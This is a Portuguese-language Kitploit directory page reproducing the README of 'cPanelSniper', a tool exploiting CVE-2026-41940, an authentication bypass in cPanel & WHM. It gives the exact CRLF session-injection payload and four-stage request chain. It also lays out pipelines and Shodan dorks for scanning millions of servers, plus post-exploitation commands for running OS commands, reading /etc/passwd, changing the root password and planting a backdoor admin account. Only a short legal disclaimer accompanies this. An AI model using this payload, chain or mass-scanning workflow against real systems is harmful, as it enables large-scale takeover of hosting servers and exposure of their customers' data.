Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cpsniper — cPanelSniper ESTÁVEL - CVE-2026-41940 otimizado para 10M+ alvos | Kitploit
Ferramentas/GitHubGitHub/44pie/cpsniper
Autenticação e AutorizaçãoScanners de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoComando e ControleRed Teaming
GitHub44pie/cpsniper

cpsniper

cPanelSniper ESTÁVEL - CVE-2026-41940 otimizado para 10M+ alvos

Ver Repositório
27há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — Bypass de Autenticação do cPanel & WHM via Injeção CRLF em Arquivo de Sessão
Cadeia de exploração em 4 estágios · Shell WHM Interativo · VERDADEIRAMENTE ESTÁVEL para 10M+ alvos · Zero uso de memória · apenas stdlib


Visão Geral

cPanelSniper é um framework de exploração focado em CVE-2026-41940, uma vulnerabilidade crítica de bypass de autenticação que afeta cPanel & WHM. A vulnerabilidade permite que atacantes remotos não autenticados obtenham acesso WHM de nível root injetando sequências CRLF no arquivo de sessão por meio do cabeçalho HTTP Authorization — sem nenhuma credencial válida.

  • Pontuação CVSS: 10.0 (Crítico)
  • Exploração ativa: Confirmada (abril de 2026)
  • Instalações afetadas: ~70 milhões de domínios executando cPanel & WHM
  • Sem dependências: Apenas stdlib Python puro — sem pip, sem requests, sem pacotes externos

Somente para testes de penetração autorizados e programas de bug bounty.


⚡ VERSÃO VERDADEIRAMENTE ESTÁVEL

Esta versão é otimizada para escanear 10.000.000+ alvos com ZERO uso de memória.

O Que Foi Corrigido

Principais Recursos

  • Arquitetura de streaming - Processe 10M+ alvos sem carregar na memória
  • Zero travamentos por OOM - Mesmo com listas de alvos muito grandes
  • Retomada automática - Continue de onde parou com --resume
  • Progresso em tempo real - ETA, taxa de varredura, rastreamento de erros
  • Salvamentos periódicos - Resultados salvos automaticamente para evitar perda de dados
  • Pronto para pipeline - Funciona perfeitamente com subfinder, httpx, shodan

Como Funciona

A causa raiz está em Session.pm: a função saveSession() chama filter_sessiondata() depois de gravar o arquivo de sessão no disco. Isso significa que caracteres CRLF incorporados no valor do cabeçalho Authorization: Basic são gravados literalmente no arquivo de sessão, injetando campos controlados pelo atacante antes da sanitização ocorrer.

root@kitploit:~
Fluxo normal:
  POST /login/ → filter_sessiondata() → gravar sessão → verificação de auth

Fluxo vulnerável:
  POST /login/ → gravar sessão (payload CRLF injetado) → filter_sessiondata() → verificação de auth lê arquivo envenenado

O Payload CRLF

O valor Authorization: Basic decodifica para:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Esses campos são gravados diretamente no arquivo de sessão no disco. Quando lidos de volta, o cPanel trata a sessão como uma sessão root totalmente autenticada.

Cadeia de Exploração em 4 Estágios

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  Estágio 0 — Descoberta do Hostname Canônico                │
│  GET /openid_connect/cpanelid → 307 → hostname real         │
├─────────────────────────────────────────────────────────────┤
│  Estágio 1 — Criar Sessão Pré-Auth                          │
│  POST /login/?login_only=1  (credenciais erradas)           │
│  ← 401 + cookie whostmgrsession                             │
├─────────────────────────────────────────────────────────────┤
│  Estágio 2 — Injeção CRLF                                   │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd grava campos CRLF no arquivo de sessão              │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Estágio 3 — Propagar (gadget do_token_denied)              │
│  GET /scripts2/listaccts                                    │
│  Aciona flush raw→cache — campos injetados tornam-se ativos │
│  ← 401 Token negado (esperado)                              │
├─────────────────────────────────────────────────────────────┤
│  Estágio 4 — Verificar Acesso Root WHM                      │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = PWNED          │
└─────────────────────────────────────────────────────────────┘

Versões Afetadas


Instalação

root@kitploit:~
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help

Nenhuma instalação via pip necessária. Apenas stdlib Python 3.8+.


Uso

Varredura Básica

root@kitploit:~
# Alvo único — apenas varredura
python3 cPanelSniper.py -u https://target.com:2087

# Alvo único — shell interativo após bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Lista grande de alvos — 10M+ alvos (VERDADEIRAMENTE ESTÁVEL)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Retomar varredura interrompida
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

Ações Pós-Exploração

root@kitploit:~
# Listar todas as contas cPanel no servidor
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Executar comando do SO
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Obter informações do servidor (hostname, carga, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Obter versão do cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Alterar senha do root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Shell WHM interativo
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Pipelines (VERDADEIRAMENTE ESTÁVEL para Listas Grandes)

root@kitploit:~
# subfinder → httpx → salvar em arquivo → escanear 10M+ alvos
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Da lista de escopo - lidar com milhões de domínios
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

# Resultados do Shodan - varredura massiva
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json

# Pipe via stdin - apenas para listas pequenas (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py

# Múltiplas fontes combinadas → varredura em larga escala
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume

Melhores Práticas VERDADEIRAMENTE ESTÁVEIS

Para escanear 10M+ alvos:

  1. Sempre salve em arquivo primeiro - Não use pipe direto para listas grandes

    root@kitploit:~
    # BOM - funciona com 10M+ alvos
    httpx ... > targets.txt
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
    
    # RUIM - vai travar com listas grandes
    httpx ... | python3 cPanelSniper.py
    
  2. Use contagem de threads apropriada

    • 10-20 threads: 100K alvos
    • 30-50 threads: 1M-10M alvos
    • 50-100 threads: 10M+ alvos
  3. Ative a retomada automática para varreduras longas

    root@kitploit:~
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
    

    Se interrompido, basta executar novamente com --resume

  4. Monitore o progresso

    • ETA em tempo real exibido
    • Resultados salvos a cada 60 segundos
    • Ctrl+C preserva todas as descobertas

Shell WHM Interativo

Após um bypass bem-sucedido, a flag --action shell abre um prompt interativo:

root@kitploit:~
════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Versão: CVE-2026-41940 | Auth: bypass CRLF
  Digite 'help' para comandos, 'exit' para sair
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [Contas cPanel]  target.com:2087 (47 usuários)
    user01               domínio: example.com    email: [email protected]
    user02               domínio: shop.com       email: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [Informações do Servidor]  https://target.com:2087
  hostname: srv01.target.com
  carga: 0.72 / 0.66 / 0.69
  versão: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [ADMIN BACKDOOR CRIADO]
  Alvo     : https://target.com:2087
  Usuário  : mitsec
  Senha    : P@ss2026!
  Perfil   : super_admin

[email protected] ▶ exit

Comandos do Shell


Referência CLI

root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--resume]
                       [-o OUTPUT] [--no-color] [--save-interval N]

Alvo:
  -u, --url URL          URL de alvo único (ex.: https://host:2087)
  -l, --list LIST        Arquivo com URLs (uma por linha)
  --hostname HOSTNAME    Substituir cabeçalho Host canônico (descoberto automaticamente)

Varredura:
  -t, --threads N        Threads concorrentes (padrão: 20)
  --timeout N            Tempo limite de requisição em segundos (padrão: 15)
  --resume               Retomar de varredura anterior (pular alvos processados)

Saída:
  -o, --output FILE      Salvar resultados em arquivo JSON
  --no-color             Desabilitar cores ANSI
  --save-interval N      Salvar resultados a cada N segundos (padrão: 60)

Dorks do Shodan

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

Exemplo de Saída

root@kitploit:~
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — Bypass de Auth do cPanel & WHM via Injeção CRLF
  4 estágios: pré-auth → injeção CRLF → propagação → verificação → pós-exploração
  In-The-Wild | CVSS 10.0 | Por Mitsec (@ynsmroztas)

  Configuração:
   Alvos    : 1
   Threads  : 10
   Timeout  : 15s
   Ação     : list

14:46:22 [SCAN] Iniciando cadeia de exploração em 4 estágios... https://target.com:2087
14:46:23 [INFO] Hostname canônico descoberto: srv01.target.com
14:46:23 [STEP] Estágio 1/4 — Criando sessão pré-auth...
14:46:23 [  OK] Estágio1: sessão pré-auth = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Estágio 2/4 — Injeção CRLF via cabeçalho Authorization...
14:46:24 [  OK] Estágio2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Estágio 3/4 — Disparando gadget do_token_denied (raw→cache)...
14:46:25 [  OK] Estágio3: HTTP 401 — gadget do_token_denied disparado
14:46:25 [STEP] Estágio 4/4 — Verificando acesso root WHM...
14:46:26 [PWND] CVE-2026-41940 CONFIRMADO — acesso root WHM!
14:46:26 [PWND]   Token    : /cpsess8493537756
14:46:26 [PWND]   Versão   : 11.130.0.6
14:46:26 [PWND]   URL API  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Executando ação pós-exploração: list
14:46:27 [ API] listaccts → HTTP 200

  [Contas cPanel]  target.com:2087 (47 contas)
    client01    domínio: client01.com    email: [email protected]
    client02    domínio: client02.net    email: [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — Varredura Concluída
  Tempo: 5.8s  ·  Alvos: 1

  ⚡ 1 ALVO(S) VULNERÁVEL(IS)

  Alvo     : https://target.com:2087
  Versão   : 11.130.0.6
  Token    : /cpsess8493537756
  URL API  : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

Detalhes Técnicos

Injeção no Arquivo de Sessão

O valor Authorization: Basic injetado (decodificado em base64) contém sequências CRLF que se tornam novas linhas no arquivo de sessão do cPanel:

root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

O leitor de sessão do cPanel analisa esses campos como campos legítimos de sessão, concedendo acesso root completo ao WHM.

Estágio 3 — O Gadget do_token_denied

A etapa crítica e frequentemente negligenciada: após a injeção CRLF (Estágio 2), os dados de sessão envenenados existem apenas no arquivo de sessão bruto. Uma requisição a /scripts2/listaccts aciona o manipulador interno do_token_denied, que descarrega os dados de sessão brutos no cache de sessão. Sem esse descarregamento, o Estágio 4 retornaria um 403.

Extração do Token de Sessão

root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- hash ob (removido)
                              +-- nome da sessão (usado para injeção)

O nome da sessão (antes de %2C) é extraído e usado como valor do cookie para requisições subsequentes.


Referências

  • watchTowr Labs — Análise Técnica do CVE-2026-41940
  • Advisory de Segurança do cPanel
  • NVD — CVE-2026-41940
  • Blog Hadrian — Análise do CVE-2026-41940
  • Template Nuclei — CVE-2026-41940

Aviso Legal

Esta ferramenta destina-se somente a testes de segurança autorizados e programas de bug bounty. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade e não é responsável por qualquer uso indevido ou dano causado por esta ferramenta. Sempre obtenha autorização escrita adequada antes de testar.


Autor

Mitsec — @ynsmroztas

  • 🏆 Top Hacker — Intigriti
  • 🐛 2.430+ vulnerabilidades divulgadas
  • 💀 1.100+ descobertas críticas P1
  • 🏅 100+ reconhecimentos no Hall of Fame

Feito com ❤️ por @ynsmroztas

Baixar ferramenta
ProblemaVersão OriginalVersão Corrigida
Uso de MemóriaCarrega todos os alvos na RAMTransmite alvos linha por linha (0 memória)
10M AlvosOOM → Encerrado ❌Conclui com sucesso ✅
RetomadaNão suportadaFlag --resume
ProgressoSem ETAETA em tempo real + taxa + estatísticas
ResultadosSalvos apenas no finalSalvos a cada 60s (configurável)
BranchVulnerávelCorrigida
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5
ComandoDescrição
id / whoamiMostrar UID e hostname
hostnameObter hostname do servidor
versionInformações da versão do cPanel
infoCarga, disco, host MySQL, versão
accountsListar todas as contas de usuário cPanel
cat <path>Ler conteúdo de arquivo
ls [path]Listar diretório
exec <cmd>Executar comando do SO
addadmin <user> <pass>Criar admin WHM backdoor
passwd <pass>Alterar senha do root
api <endpoint> [k=v ...]Chamada bruta à API JSON do WHM
helpMostrar todos os comandos
exitSair do shell